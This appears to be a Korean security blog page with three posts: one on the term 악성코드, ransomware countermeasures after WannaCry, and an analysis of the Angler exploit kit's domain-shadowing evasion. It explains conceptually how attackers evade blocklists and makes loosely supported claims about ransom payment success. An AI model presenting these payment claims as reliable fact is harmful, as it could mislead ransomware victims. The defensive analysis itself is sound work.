개요

대중적으론 악성코드보단 바이러스라는 용어를 더 일상적으로 사용하고, 정보보안을 공부한 사람이라면 악성코드란 용어를 더 친숙하게 받아들인다. 악성코드란 무엇일까. 지금까지 우리는 악성코드란 단어를 의구심 없이 받아 들일뿐 물음표를 던져본적이 없었던 것 같다. 그래서 Malware란 단어를 살펴보기 앞서 악성코드 단어를 분해해보려 한다.

정의 파악

악성(惡性)이란 악한 성질로 이 성질 파악의 주체는 사람의 목적이다. 날카로운 칼이 있다. 이 칼은 어떤 성향을 가진 사람 손에 들려져 있는가에 따라 맛있는 요리를 할 수 있지만, 누군가를 해칠 수도 있다. 어떤 용도로 사용하지 않으면 그냥 물건일 뿐이다. 누군가를 해칠 수도 있다는 가능성이 실현되는 것은 그 주체자의 의도와 행동에 따르기에 물체인 칼은 악한 성질을 가지고 있다고 판단할 수 없다.

코드(Code)란 기호를 의미하며 컴퓨터에서만 사용하는 용어는 아니다. 하지만 여기서는 컴퓨터에서 사용하는 코드를 의미한다. 컴퓨터에서 코드란 하드웨어에서 실행되는 소프트웨어의 요소 중 하나다. 프로그래밍 언어를 이용해 사람은 소스코드를 작성한다. 작성한 소스코드는 컴파일러나 인터프리터에 의해 하드웨어인 CPU가 해석할 수 있는 기계어 코드로 변환된다.

두 정의를 통해 살펴본 것 처럼 악성코드란 악한 성질을 가진 컴퓨터 코드로 볼 수 있다. 앞서 악성의 정의를 살펴본 것 처럼 컴퓨터의 관점에서 악성은 실행되지 않는 코드일 뿐이다. 불편함을 초래하거나 귀찮게하거나 놀리거나 금전적 손실을 일으키거나 컴퓨터를 못쓰게 만드는 등 사람의 입장에서 "이 소프트웨어 나쁘네" 하면 악성코드가 된다.

문제 의식

코드 정의에서 살펴봤듯이 소프트웨어가 하드웨어에서 실행되는 요소 중 하나가 코드며 소개 안한 다른 요소는 데이터다. CPU도 코드 세그먼트(CS)와 데이터 세그먼트(DS)가 따로이 운영되고, 이들이 운영되는 큰 이유인 분할 메모리 모델에서 코드 영역과 데이터 영역이 따로 구분되어 관리될 정도로 중요한 요소다. 데이터는 가공되지 않은 정보다. 데이터는 코드가 동작하는 과정에 사용된 의미를 찾을 수 있으며, 사용자가 데이터를 보고 해석하여 의미를 찾을 수 있다. 이렇게 찾게된 의미를 정보라 부른다.

그렇다면 악성코드는 있는데, 악성 데이터는 없을까? 악성 코드가 동작하기 위해 필요한 데이터는 당연히 악성 데이터다. 이 데이터가 없으면 해당 코드가 동작하지 않으니까. 사용자는 데이터만 보고 악성으로 해석하기 힘들 수 있지만 이미 악성으로 판단된 상황에서 찾은 데이터는 악성으로 해석할 수 있다. 대표적인 경우가 .pdb 파일이다.

.pdb 파일은 Program DataBase의 약자로 프로그램을 개발할 때 다양한 정보가 저장되는 데이터 파일이다. 어떤 악성 소프트웨어를 분석하는 과정에서 .pdb 파일의 경로를 만나게 되거나 운좋게 .pdb 파일을 찾게 된다면 이 파일을 분석하여 컴파일러에 관한 정보, 디버깅에 관한 정보 등 확인할 수 있으며, 이는 분석한 악성 소프트웨어 정보와 결합하여 악성 정보로써 관리된다.

결론

그렇다면 정말 악성코드로 불리는게 맞는 것일까? 현재 우리가 부르는 악성코드와 매핑되는 영단어는 Malware다. 이 단어도 합성어인데 악성을 의미하는 Malicious와 소프트웨어(software)의 조합이다. 소프트웨어는 다시 코드와 데이터와 같은 요소로 이루어져 있다고 정의했었다. 다시 말해서 악성코드와 악성 데이터를 합쳐야 멀웨어가 되는 구조를 가지게 맞다. 앞으론 멀웨어나 악성 소프트웨어로 쭉 써야할 것 같다.

기타

추가로 악성코드란 한국어 명칭이 처음 사용된 것이 언제인지 찾아봤다. 인터넷에서 찾아볼 수 있는 가장 오래된 정보로는 안철수 대표가 1999년 정보보호 심포지움에서 "컴퓨터 바이러스와 악성코드의 현황 및 대책"이란 발표인 것 같다. 아쉽게도 이 제목은 CIH 바이러스 분석 및 대책 논문의 레퍼런스에서 찾아 볼 수 있었을 뿐 발표 자료나 내용은 찾을 수 없었다. 1년이 지난 2000년 한국정보보호센터로 불리던 시절의 KISA에서 발간한 KISA-2000 정보시스템 해킹 바이러스 현황 및 대응 보고서에서 악성코드와 바이러스는 의미가 혼용되어 사용된다. 분명 그 전에 악성코드란 단어가 사용되었던 적이 있었을 것 같다. 정보보안 역사를 경험한 대선배님들과 대화할 기회가 온다면 한번은 물어봐야 할 것 같다.

레퍼런스


'Information Security > Malware' 카테고리의 다른 글

Is malware same mean Korean word 악성코드?  (0) 2018.12.14
랜섬웨어 대응방안  (5) 2017.05.17
[보고서] Mirai Botnet  (0) 2016.12.26
도메인 쉐도잉 (Domain Shadowing)  (0) 2015.03.17
Sweet Orange exploit kit  (0) 2014.09.02
공다팩(Gondad EK) 분석 #04  (2) 2014.08.14

목차

1. 요약

2. 개요

3. 관리적 대응방안

3.1. 예방 관리

3.1.1. 소프트웨어 보안 업데이트

3.1.2. 레거시 시스템 제거

3.1.3. 백신 소프트웨어 운영

3.1.4. 랜섬웨어에 특화된 소프트웨어 사용

A. 앱체크(AppCheck)

B. NAR(Nuri Anti-Ransom)

3.1.5. 이메일 관리

3.1.6. 운영 관리

A. 원격 접속 프로그램의 기본 접속 계정과 비밀번호 변경

B. 지속적인 보안공지 확인과 권고 이행

3.2. 대비 관리

3.2.1. 백업 관리

A. 물리적 시스템을 이용한 백업

B. 클라우드 시스템을 이용한 백업

3.2.2. 복원 관리

3.2.3. 차단 및 대응

4. 결론

5. 추가 내용

A. 결제해도 파일을 복구해주지 않는다.

B. 복구 업체는 복구할 수 있다.

C. 감염되면 절대 복구할 수 없다.



    1. 요약

    • 소프트웨어 보안 업데이트 - 필수로 사용
    • 레거시 시스템 제거 - 비용 고려하여 최대한 제거, 그렇지 않다면 확실한 접근제어를 구현
    • 백신 소프트웨어 운영 - 인터넷 시큐리티 버전 추천, 유료 상품을 이용
    • 랜섬웨어에 특화된 소프트웨어 사용 - 앱체크 추천
    • 이메일 관리 - 외부 사설 이메일 사용 자제, 실행파일 첨부 자제 문화 형성
    • 운영 관리 - 원격 접속 프로그램의 기본 계정과 비밀번호 변경, 보안 전문업체나 한국인터넷진흥원의 권고 사항 지속적 이행
    • 백업 관리 - 물리 시스템 사용 시 백업 후 연결 끊기, 클라우드 사용 시 브라우저를 통해서만 이용, 자체 클라우드의 경우 동기화 프로그램을 제공하는 서비스를 이용하여 백업
    • 복원 관리 - 복원 시스템 운영하는 것을 추천하나 100% 신뢰하진 않음
    • 차단 및 대응 - 80, 443 포트 외 모든 포트를 차단 후 윈도우 업데이트

    2. 개요

    현재 가장 뜨거운 감자인 워너크라이(WannaCry) 랜섬웨어는 감염된 이후 대응방안은 애매하다. 이미 볼모로 잡힌 디지털 자산들을 해결할 수 있는 방안이 없기 때문이다. 하지만, 악성코드에 감염되기 전 유포는 충분히 대응 가능하다. 앞으로 꾸준히 이슈가 될 랜섬웨어의 핵심 대응방안을 기록해본다. 내용중 일부는 랜섬웨어뿐만 아니라 대다수의 악성코드를 대응하는 방안이 될 수 있다.

    3. 관리적 대응방안

    컴퓨터 시스템을 체계적으로 관리하는 것만으로도 충분히 대응할 수 있다. 관리적 대응방안에는 다음 두 가지 형태로 분류할 수 있다. 예방 관리는 말 그대로 랜섬웨어 감염으로부터 예방할 방안이며, 대비 관리는 랜섬웨어에 감염된 후에 대비할 방안이다.

    3.1. 예방 관리

    3.1.1. 소프트웨어 보안 업데이트

    주로 듣는 질문들을 정리해보면 다음과 같다.

    • 어떻게 랜선만 꼽혀있는데 악성코드에 감염되나요?
    • 웹 사이트 서핑만 했는데 악성코드에 감염될 수 있나요?
    • 문서를 열고 스크립트와 같은 추가 기능을 차단했는데도 악성코드에 감염될 수 있나요?

    위 질문의 대답은 "" 이다. 이러한 악성코드 감염이 가능한 이유는 소프트웨어 취약성(Vulnerability) 때문이다. 취약성을 정확한 개념은 아니지만 쉽게 설명하면 "공격자 마음대로 명령한다." 정도로 볼 수 있다. 이는 네트워크 기준으로 로컬인가, 근거리인가, 원거리인가는 중요하지 않다. 어느 기준이든 위험한 공격 방식이며, 당연한 이야기지만 셋 중에서 원거리 네트워크로 사용할 수 있는 취약성이 가장 위험하다.

    어? 너 취약하네? 너 내가 가리키고 있는 저 파일 다운로드하고 실행해!

    이번 이슈에 접목시켜보면 원거리 공격자가 SMB 버전1 프로토콜에 명령을 던졌을 때 취약하다면 랜섬웨어를 다운로드하고 실행하도록 명령할 수 있다. 물론 취약성이 존재하더라도 공격자가 시스템을 실제 운영하는 사용자만큼 명령을 전달할 수는 없다. 지속적이고 좀 더 용이하게 공격 명령을 구성하거나 이미 모든 명령을 포함한 형태로 한번에 명령하기 위해 악성코드를 감염시킨다. 따라서 취약성을 막는다면 악성코드 감염으로 부터 자유로울 수 있다.

    취약성을 막을 수 있는 가장 안전한 방법은 보안 업데이트를 통한 문제가 되는 소프트웨어의 패치를 진행하는 것이다. 이미 컴파일 된 파일을 패치하는 것은 매우 어렵다. 소스코드를 가지고 있는 회사에서 진행할 수 밖에 없기에 제조사의 보안 패치를 진행하는 것이 중요하다. 이번 워너크라이에 사용된 취약성은 마이크로소프트에서는 MS17-010, MITRE 기준으로 CVE-2017-0144로 명명되어 있다. 이 취약성은 2017년 3월 14일에 보안 패치를 진행했다. 정기적 보안패치나 자동 보안패치를 사용하며 다음 운영체제를 사용하는 사용자라면 이번 이슈에 영향을 받지 않았을 것이다.

    • 윈도우 XP Embedded (POSReady 2009 버전)
    • 윈도우 비스타
    • 윈도우 7
    • 윈도우 8.1
    • 윈도우 10 버전과 
    • 윈도우 서버 2008 & R2, 
    • 윈도우 서버 2012 & R2
    • 윈도우 서버 2016

    대규모 공격에 사용되는 취약성은 패치가 나와있는 취약성을 주로 사용한다. 간혹 패치되기 전에 취약성을 이용한 공격코드가 공개되었을 땐 네트워크 연결을 하지 않는 것이 답이 될 수 있지만, 이러한 상황은 아주 흔하지 않기에 보안 업데이트만 꾸준히해도 대부분의 공격을 막을 수 있다. 취약성을 사용하는 공격중에 웹을 이용한 대규모 공격은 드라이브-바이 다운로드(Drive-by Download) 공격이, 네트워크를 이용한 대규모 공격은 웜(Worm) 공격이 대표적인 케이스다.

    추가로 웹 사이트를 통한 감염의 대응방안에는 자바(Java), 어도비 플래시 플레이어(Adobe Flash Player) 등 마이크로소프트의 제품이 아닌 소프트웨어의 보안 업데이트도 필수로 진행한다.

    3.1.2. 레거시 시스템 제거

    레거시 시스템이란 정품을 사용하더라도 더 이상 서비스를 제공하지 않는 시스템을 의미한다. 예를 들어, 삼성의 마이마이 카세트 플레이어를 사용하고 있다해도 고장나면 삼성 서비스 센터에 카세트를 맡길 수 없다. 이미 오래된 제품이기 때문이다. 

    출처 - 위키트리

    운영체제 서비스가 종료된 버전은 앞으로도 취약성에 의해 문제가 발생할 것이고, 제품을 제작한 회사도 사건이 발생해야 보안 패치를 내놓을 것이다. 말 그대로 서비스가 종료되었기 때문이다. 다음 운영체제는 서비스가 종료된 운영체제로 워너크라이가 이슈가 되었던 13일 당일에 보안 패치할 수 있는 파일을 공개했다.

    • 윈도우 XP SP2
    • 윈도우 XP SP3
    • 윈도우 서버 2003
    • 윈도우 8

    결론적으로 서비스가 중단된 레거시 시스템을 사용하지 않는 것이 중요하다. 어쩔 수 없이 사용해야만 한다면, 확실한 접근제어가 필요하다. 레거시 시스템을 사용하는 아이피와 포트를 면밀히 조사하여 접근을 허용하고 그 외 아이피와 포트는 모두 차단한다.

    3.1.3. 백신 소프트웨어 운영

    백신 소프트웨어 운영을 무시해서는 안된다. 분명 백신은 악성코드 샘플이 수집되어야 분석한 정보를 바탕으로 차단할 수 있기 때문이다. 다르게 이야기하면 경험기반 차단으로 볼 수 있다. 랜섬웨어의 경우 감염된 이후 대응은 의미없을 수 있다. 하지만, 만약 백신 회사에서 미리 악성코드를 분석해 차단했다면 감염되지 않았을 것이다. 그 가능성에 기대해 운영한다.

    또 다른 백신 회사에서는 위에서 언급한 취약성 코드도 차단하기도 한다. 이미 네트워크단에서 차단하기에 감염이 발생하지 않는다. 이 경우 백신 회사에서 운영체제 깊은 부분까지 손봐야하기에 고도의 작업이 동반될 수 있다. 이 부분을 안정적으로 개발하지 않는다면 운영체제가 망가질 수 있기 때문이다. 이러한 제품군은 기존의 백신 제품들 보다 2배 정도 더 비싸다. 하지만 이러한 종류의 백신 가격은 평균적으로 1년 기준 5만원 안팍의 가격을 하기에 투자할만하다. 참고로 이런 형태의 제품군을 업체에서는 인터넷 시큐리티라고 부른다.

    세상에는 참 많은 백신이 있다. 국내 동향에 맞는 악성코드도 좋지만 다양한 차단 방법을 제시하는 해외 기업의 제품을 이용하는 것도 좋다. 사용자마다 언급하는 백신의 장단점이 다르기에 이 포스트에서는 특정 제품을 언급하지는 않는다. 2017 안티바이러스 TOP 10으로 선정한 다음 블로그를 참고해보는 것도 좋다. 아래 그림을 클릭하면 링크로 이동한다.

    3.1.4. 랜섬웨어에 특화된 소프트웨어 사용

    트로이목마나 스파이웨어 등 특정 악성코드에 특화된 솔루션이 존재한다. 랜섬웨어도 동일하게 특화된 솔루션이 있다. 여기서 소개하는 제품은 국내 제품이다. 안티 익스플로잇 제품이나 안티 랜섬웨어 제품은 개인적인 생각으로 국내 제품을 이용하는 것이 좋다. 오랜기간 서비스한 제품이 아닌 경우가 많기에 문제가 야기되면 제작자와 직-간접적으로 소통하여 문제를 해결하기 쉽기 때문이다.

    A. 앱체크(AppCheck)

    앱체크는 CheckMAL에서 만든 제품으로 일반 제품은 무료로 이용할 수 있고, 더 기능이 많은 Pro 버전은 1PC 1년 기준 22,000원이다. 다만 랜섬웨어에 특화되어 있기에 백신 제품과 함께 써야한다. 아래 링크를 클릭하면 홈페이지로 이동한다.

    B. NAR(Nuri Anti-Ransom)

    NAR은 누리랩에서 만든 제품으로 아직 공개되진 않았지만 랜섬웨어에 특화된 차단하는 솔루션이다. 감염행위는 일어나지만 이를 탐지와 동시에 악성 행위와 그 산출물에 관련있는 파일을 신속히 삭제하고 일부 암호화된 파일은 복구하는 구조를 가진다. 자세한 내용과 이번 워너크라이 차단 영상은 케이엘테크놀로지 사이트에서 확인할 수 있으며, 1 PC 1년 기준 가격과, 무료 및 유료 정책, 그리고 무료와 유료로 구분된다면 이 둘의 기능적 차이가 어떨지 기대된다.

    3.1.5. 이메일 관리

    이메일 보안 솔루션을 이용하는 것도 좋으며, 의심스러운 파일은 모두 무시하는 것이 중요하다. 모르는 사람에게 온 이메일은 미리보기 기능을 이용하는 것도 좋다. 첨부파일을 다운로드 받을 경우 확장자 검증을 확실히 해야한다. 확장자 검증은 다음 이미지의 "알려진 파일 형식의 파일 확장명 숨기기"가 기본으로 활성화되어 있기에 해제한 후 사용한다.

    대중적인 구글, 네이버, 다음으로 들어온 메일은 기본적으로 필터링하는 것이 좋다. 기본적으로 실행파일을 첨부하는 것을 자제하는 문화가 정착되는 것이 중요하다.

    3.1.6. 운영 관리

    A. 원격 접속 프로그램의 기본 접속 계정과 비밀번호 변경

    아직 발생하진 않았지만, 원격 접속 프로그램(텔넷, SSH)을 통해 로그인하여 랜섬웨어를 설치하는 웜 형태가 나타날 수 있다. 이러한 이슈는 이미 사물인터넷을 이용한 DDoS 공격으로 유명한 미라이(Mirai) 봇넷이 있다. 만약 공격자가 DDoS 공격을 위한 좀비 악성코드가 아닌 랜섬웨어를 설치하려 했다면 충분히 가능한 내용이다.

    로그인이 가능한 이유는 취약성은 아니다. 사용자가 제대로 설정하지 않은 기본 계정과 비밀번호로 접근하기 때문이다. 공장에서 혹은 제조사에서 제조한 새로운 서비스나 시스템을 구매하여 사용할 경우 필히 이를 변경한다.

    B. 지속적인 보안공지 확인과 권고 이행

    정보보안 전문업체나 국가 기관에서 지속적으로 사이버 위협을 조사하고 대응할 수 있는 방안을 권고한다. 이를 지속적으로 확인하고 이행하는 것이 안전한 시스템을 운영하는데 도움된다. 우리나라에서는 보호나라를 이용하는 것을 추천한다. 아래 그림을 클릭하면 보호나라 사이트로 이동한다.

    3.2. 대비 관리

    3.2.1. 백업 관리

    중요 파일 백업은 항상 들어오던 말이다. 문제는 대부분의 대응방안에서 정기적으로 백업하라고 하지만, 백업한 디바이스랑 연결은 어떻게 해야할지, 클라우드 백업은 어떻게 해야하는지 설명하지 않는다. 

    A. 물리적 시스템을 이용한 백업

    먼저 랜섬웨어는 연결되어 있는 모든 파일시스템을 읽고 암호화하기에 백업이 끝난 물리적 디바이스와 연결을 끊어야 한다. 아무리 백업을 잘해 놓았더라도 백업시스템 마저 랜섬웨어로 피해를 받는다면 복구할 방법은 희박하다. 공유 폴더도 안전하지 않으며, 매번 접근하기 위해 아이피나 도메인을 외우기도 힘들다. 적어도 계정 정보는 기억시켜두고, 패스워드를 입력하여 접근후 백업하고, 백업이 끝나면 연결 해제하는 것을 추천한다.

    B. 클라우드 시스템을 이용한 백업

    클라우드 시스템은 대중적으로 가장 많이 사용하는 원드라이브, N클라우드, 구글 클라우드를 조사했다. 



    먼저 마이크로소프트 원 드라이브에 대해 알아보자. 일부 사용자는 오피스 문서만 작성하여 원 드라이브에 저장하고, 문서를 작성할 때 마다 버전관리를 했기에 복구할 수 있다고 자신할 수 있지만, 문서 버전관리를 이용한 복구는 문서를 열람해서 진행하기에 열리지 않는 암호화된 문서에서는 사용할 수 없는 기능이다. 또 다른 기능으로 로컬에서 삭제했더라도, 클라우드의 휴지통에 가면 삭제된 데이터를 복구할 수 있다. 이러한 형태를 이용하면 복구 가능성은 높아진다. 암호화된 새로운 파일을 생성하고 암호화되지 않은 파일을 삭제하는 형태로 동작하는 랜섬웨어도 존재하기 때문이다. 확률로 계산해야 하기에 도박으로 선택할 필요는 없다. 원 드라이브를 사용하는 사용자 입장에서 가장 좋은 방법은 원 드라이브 소프트웨어를 설치하여 운영하지 않고, 귀찮더라도 브라우저를 통해서만 이용하는 것을 추천한다.

    네이버의 N드라이브는 어떨까.

    N드라이브에도 원 드라이버처럼 버전관리가 가능하다. 다행이도 오피스군에만 한정되어 있진 않지만, 내용을 읽을 수 있는 파일에 한해서만 제공한다. 예를 들어 설치 파일이나 압축 파일은 버전관리로 복구할 수 없다. 다시 말해서 랜섬웨어에 의해 암호화된 파일은 복구할 수 없다. 원 드라이브와 마찬가지로 랜섬웨어가 암호화된 파일을 생성하고 원본 파일을 삭제한다면 휴지통에서 복구할 수 있다. 결론은 위에 동일하기에 N드라이브도 소프트웨어를 설치하여 운영하지 않고, 귀찮더라도 브라우저를 통해서만 이용하는 것을 추천한다.

    구글 드라이브도 위에 동일하다. 동일하게 소프트웨어 형태로 설치하지 않고 브라우저를 통해 이용하는 것을 추천한다. NAS를 자체 클라우드로 분류한다면, 자체 클라우드를 구매할 때 동기화 프로그램을 제공하는 서비스 이용을 추천한다.

    3.2.2. 복원 관리

    시스템 복원을 대응방안으로 제시하는 경우도 있지만, 100% 신뢰할 수 없다. 시스템 복원은 윈도우 비스타 이후 볼륨 섀도우 카피(Volume Shadow Copy)를 사용하는데, 일부 랜섬웨어는 이 볼륨 섀도우 카피를 삭제하는 명령을 포함한다. 이런 랜섬웨어를 만났다면 롤백을 이용한 복구를 할 수 없다. 

    그렇다고해서 무조건 사용하지 않는다는 것은 아니다. 복원할 수 있는 상황도 있을 수 있으니 하나의 대응책으로 사용하는 것이 좋다.

    3.2.3. 차단 및 대응

    이번 워너크라이 랜섬웨어의 취약성 대응방안으로 SMB 프로토콜이 사용하는 UDP 포트 137, 138 TCP 포트 139, 445 포트를 차단하고 네트워크를 연결하도록 설명한다. 그리고 여러 업체의 대응방안에서 포트도 차단하고 SMB 서비스도 사용 중단하여 대응하도록 언급 하지만, 둘 중에 하나만 진행해도 무방하다. 취약한 서비스를 사용하지 않는다면 취약성을 이용한 공격을 사용할 수 없기 때문이다.

    만약 어떤 포트를 차단해야할지 모른겠다면, 80 포트와 443 포트를 기억하자. 이 두 포트는 HTTP와 HTTPS 프로토콜이 사용하는 포트로 윈도우 업데이트는 이 포트를 사용한다. 따라서 이 두 포트를 제외한 모든 포트를 차단하고, 윈도우 업데이트를 진행한 다음 차단을 해제하는 것도 하나의 방법이다.

    4. 마무리

    지금까지 이야기한 대응방안은 랜섬웨어에 포커싱 맞춰 이야기했지만, 다른 악성코드를 대응하는 것에도 도움이 되는 방안이다. 만약 잘못된 대응방안, 현실을 고려하지 않은 상황들, 놓친 대응 방안을 댓글로 남겨주시면 포스팅 내용에 추가하여 이 글을 자세히 읽은 분들에게 도움이 될 수 있도록 하겠다.

    혹시나 늦게라도 MS17-010 취약성을 점검하고 대응하고 싶다면, 다음 사이트를 이용하길 바란다.

    5. 추가 내용

    랜섬웨어에 대한 여러 소문들이 있다. 가장 많이 들은 이야기는 다음 두개이며, 댓글로 문의하시면 답변하겠다. 재미있는 질문은 지속적으로 수정하고 추가할 예정이다.

    A. 결제해도 파일을 복구해주지 않는다.

    일부 사실이다. 하지만 약 80~90% 비율로 해제해 주는 공격자가 더 많다. 그 이유는 시장경제 논리에 따르는데, 랜섬웨어에 감염된 피해자가 결제를 통해 해제를 하지 않는 문화가 자리잡으면 신뢰받지 못해 결제를 하지 않게된다. 자연스레 공격자는 수익이 줄어들 수 밖에 없에 기를 쓰고 복구해주려고 노력한다. 재미있는 사례중 하나로 복구에 실패하면 비용을 환급해주기도 한다. 하지만 왜 이런 이야기를 언론에서 이야기하는가 하면, 수익을 통해 더욱 강력한 악성코드나 공격에 재활용되어 악순환 구조가 만들어지기 때문이다.

    이번 워너크라이의 지불과 관련한 기사가 있으니 참고하기 바란다.

    B. 복구 업체는 복구할 수 있다.

    사실이 아니다. 이슈가 될 정도로 강력한 랜섬웨어의 경우 기술적으로 복구할 수 있는 방법이 안타깝지만 없다. 결국 랜섬웨어 복구 업체의 대부분은 자체적인 방법으로 복구하는 것이 아닌, 공격자에게 결제하여 복구하는 서비스로 위장한다. 물론 결제를 해야만하는 상황이고, 결제하는 방법이 어렵다면 대행 업체를 이용하는 것도 좋다. 그간 결제를 대행하면서 친절히 복구해주는 그룹과 먹튀하는 그룹을 기업 내부적으로 목록화해서 관리하고 있기 때문이다.

    복구업체에 관한 부정적인 기사가 있으니 참고하기 바란다.

    C. 감염되면 절대 복구할 수 없다.

    사실이 아니다. 랜섬웨어의 피해를 복구할 수 있는 방법은 여러가지 있다. 이 방법에는 백업이나 복원 그리고 지불을 통한 복구는 언급하진 않는다.

    • 랜섬웨어 분석을 통해 암호키를 추출 - 랜섬웨어 제작자의 실력 부족으로 나타나는 현상으로 파일 암호키를 파일로 작성하거나 메모리에 암호키가 기록된 경우 그리고 개발자가 고정된 암호키를 사용하는 경우 추출 가능하다.
    • 국제적 민관 합동으로 암호키를 수집한 경우 - 국제적 수사기관이 랜섬웨어 유포자를 검거하고, 유포자가 가지고 있는 키관리 서버를 얻게되면 보안전문업체에게 키를 제공하여 파일을 복구할 수 있는 도구를 제작하는 구조를 가진다. 이 경우 언제 체포될지 모르고, 체포되더라도 서버를 파괴시킬 수도 있기에 언제까지 기다리고 있을 수 만은 없다. 이와 관련하여 대표적인 사이트는 nomoreransom가 있다.


    'Information Security > Malware' 카테고리의 다른 글

    Is malware same mean Korean word 악성코드?  (0) 2018.12.14
    랜섬웨어 대응방안  (5) 2017.05.17
    [보고서] Mirai Botnet  (0) 2016.12.26
    도메인 쉐도잉 (Domain Shadowing)  (0) 2015.03.17
    Sweet Orange exploit kit  (0) 2014.09.02
    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14
    1. Favicon of https://tasda.tistory.com BlogIcon Threat Collector 2017.05.18 06:13 신고

      kall 점검관련 https://securityonline.info/exploit-windows-machine-ms-17-10-easy-like-ms08_067/ 링크도 도움이 될듯합니다.

    2. Favicon of https://tasda.tistory.com BlogIcon Threat Collector 2017.05.18 07:04 신고

      덕분에 좋은 정보 많이 얻어갑니다. 감사합니다.

    3. Favicon of http://moneycoach.kr/ BlogIcon 소액결제 현금화 2017.12.07 03:35

      감사합니다 ~~~


    'Information Security > Malware' 카테고리의 다른 글

    Is malware same mean Korean word 악성코드?  (0) 2018.12.14
    랜섬웨어 대응방안  (5) 2017.05.17
    [보고서] Mirai Botnet  (0) 2016.12.26
    도메인 쉐도잉 (Domain Shadowing)  (0) 2015.03.17
    Sweet Orange exploit kit  (0) 2014.09.02
    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14



    1. 개요


    도메인 쉐도잉(Domain Shadowing) 기술은 드라이브-바이 다운로드(Drive-By Download) 공격 도구인 앵글러 익스플로잇 도구(Angler Exploit Kit)에서 탐지 회피를 위해 사용하는 기술이다. 이 도구는 해외에서 상용으로 구입할 수 있는 공격 툴킷에서 가장 인기있는 블랙홀 2.0(BlacKHole Exploit Kit 2.0)을 제친 공격 툴킷이다. 도메인 쉐도잉 기술은 시스코 보안 연구원 Nick Biasini가 어도비 플래시 플레이어 취약점과 실버 라이드 취약점을 이용한 공격을 3개월 간 추적한 결과이다.


    2. 기술 개요


    도메인 쉐도잉 기술은 2014년 12월 부터 앵글러 익스플로잇 도구에서 사용되기 시작되었다고 보고되고 있으며, 아무래도 악성코드 제작자들이 C&C 도메인과 연결되어 있는 아이피들을 동적으로 변경하기 위해 사용하는 패스트-플럭스(Fast-Flux) 기술에서 부터 응용되었다고 생각하고있다. 그래서 포스팅에서도 패스트-플럭스 기술과 비교하여 설명하고 있다.


    2.1. 패스트-플럭스(Fast-Flux)


    패스트-플럭스 기술은 2006년 11월 이전부터 이 기술에 대한 인식이 있었지만, 2007년 7월부터 공식화 되면서 관심을 받기 시작했다. 공식화는 허니넷 프로젝트에서 자세하게 정리했다. 


    이 기술에 대해 간단하게 기술하자면, 고정된 호스트 아이피를 사용할 경우 탐지 기반 솔루션이나 블랙리스트 형태의 차단 형태의 솔루션에 의해 쉽게 차단 당할 수 있어 이를 우회하기 위한 DNS 기술로, 하나의 도메인이 여러개의 아이피를 물고 있는 형태로 생각하면 된다. 이 기술을 주로 사용하는 곳은 피싱이나 악성코드를 위한 봇넷 구성 등 악의적인 목적에 의해 사용된다.


    출처 : 위키피디아


    2.2. 도메인 쉐도잉(Domain Shadowing)


    패스트-플럭스는 악성코드가 C&C 서버와 통신하는 과정에서 하나의 도메인에 여러개의 아이피를 사용하는 기술이라면, 도메인 쉐도잉은 드라이브-바이 다운로드에서 악성코드 유포지로 흘러가는 길목에 사용되는 도메인들이 수 많은 서브 도메인으로 구성된다. 이 기술 또한 탐지 및 블랙 리스팅 형태의 솔루션들을 우회하기 위해 사용된다.


    탐지 및 방어하는 관점에서 이야기하면 사이트 관제나 침해사고 대응 입장에서 추적하기 매우 어려운 구조를 가진다. 최초 경유지에 삽입된 악성 스크립트를 따라 추적을 진행하고, 감염시킨 악성코드를 분석하여 대응을 하는 구조를 가질 수 있다. 하지만, 추적하는 과정이 힘들어져 수집이 되지 않거나, 변경되는 유포지 마다 서로 다른 성향의 악성코드를 유포한다면 대응하기 어렵게 된다.


    출처 : Cisco Blog


    관련 정보를 조사하는 과정에서 다음과 같은 특징들이 있었다.


    기술 개념적 특징


    • 경유지는 하나의 유포지로 삽입
    • 중계지/유포지는 서브 도메인들로 구성, 페이지를 새롭게 랜더링 할 때 마다 변경


    분석 상황적 특징


    • 리디렉션 페이지(호핑 페이지 또는 중계지)는 서브 도메인을 기초 영 단어를 사용 (says.shadowing.com)

    • 랜딩/익스플로잇 페이지(최종 유포지)는 임의의 문자를 사용, 3~4단계 형태로 구현
      (falkjsd.domain.shadowing.com - 4단계)

    • 분석 당시 광고에서 악성코드를 유포

    • 75개 정도의 아이피에 수 천개의 서브 도메인을 연결하여 사용

    • 도메인 관리자를 피싱으로 서브 도메인 생성, 분석 당시 도메인들은 모두 GoDaddy에서 관리하는 도메인


    출처 : Cisco Blog


    추측적 특징과 생각


    • Godaddy 서비스가 공격 당한 것이 아닌, 해당 도메인 서비스를 이용하는 사용자(도메인 관리자)를 도용
    • 이러한 도용이 앵글러 익스플로잇 킷에 자동화 되어 있을 것으로 추측
    • 도용 방법으로는 피싱(Phishing)을 이용하여 하이재킹(Hijacking)을 했다고 하는데, 구체적인 방법은 잘 모름
    • 서브 도메인과 아이피 매핑은 A 레코드 관리를 통해 진행
    • A 레코드 관리가 원격 제어를 통해 이뤄질 수 있도록 Godaddy가 서비스를 제공 - 생성 및 관리의 자동화
    • RIG EK 또는 CDN을 이용한 유포 처럼 서버측 언어(Server-Side Language)를 변조하여 302 리디렉션으로 구현 - TDS의 응용
    • 보통 도메인을 구매하여 사용할 경우 이용하는 서비스에 문제가 없다면 도메인에 대한 지속적인 관리를 하지 않기에 서브 도메인이 악용되어도 사용자는 발견하기 까지 시간이 오래 걸림


    출처 : Godaddy.com


    3. 결론


    처음 페이지 랜더링 때 마다 변경되어 치고 빠지는 형태이고, 광고 스크립트에 삽입되어 유포하는 악성코드를 분석하여 얻은 정보라고 했을때, 광고 스크립트의 동적 로딩을 생각했었다. 하지만, 서버측 언어를 이용하면 무리없게 동작 시킬 수 있을 것으로 판단했다. 이는 공격에 사용된 서버의 권한은 모두 탈취 되었다고 보여진다.


    시스코의 분석 글을 읽으면서 국외에서도 아직 드라이브-바이 다운로드 공격에 사용되는 용어들이 명확하게 체계화되어 정리되어 있지 않은 것을 느꼈다. 이유는 다음과 같다.


    • 우리도 경유지, 중계지, 유포지 로 구분하여 사용하지만, 경유지가 유포지가 될 수 있고 중계지가 유포지로 변경되기도 하기에 유동적인 환경에서의 구체적인 용어 확립이 어렵다.

    • 외국에서 흔히 보는 형태로 Landing Page 를 경유지로, Exploit Landing Page 를 유포지를 사용하기 때문에 혼용이 된다. 왜 Exploit Landing Page라 부르는지 그 이유는 다음과 같이 이해해 보았다.


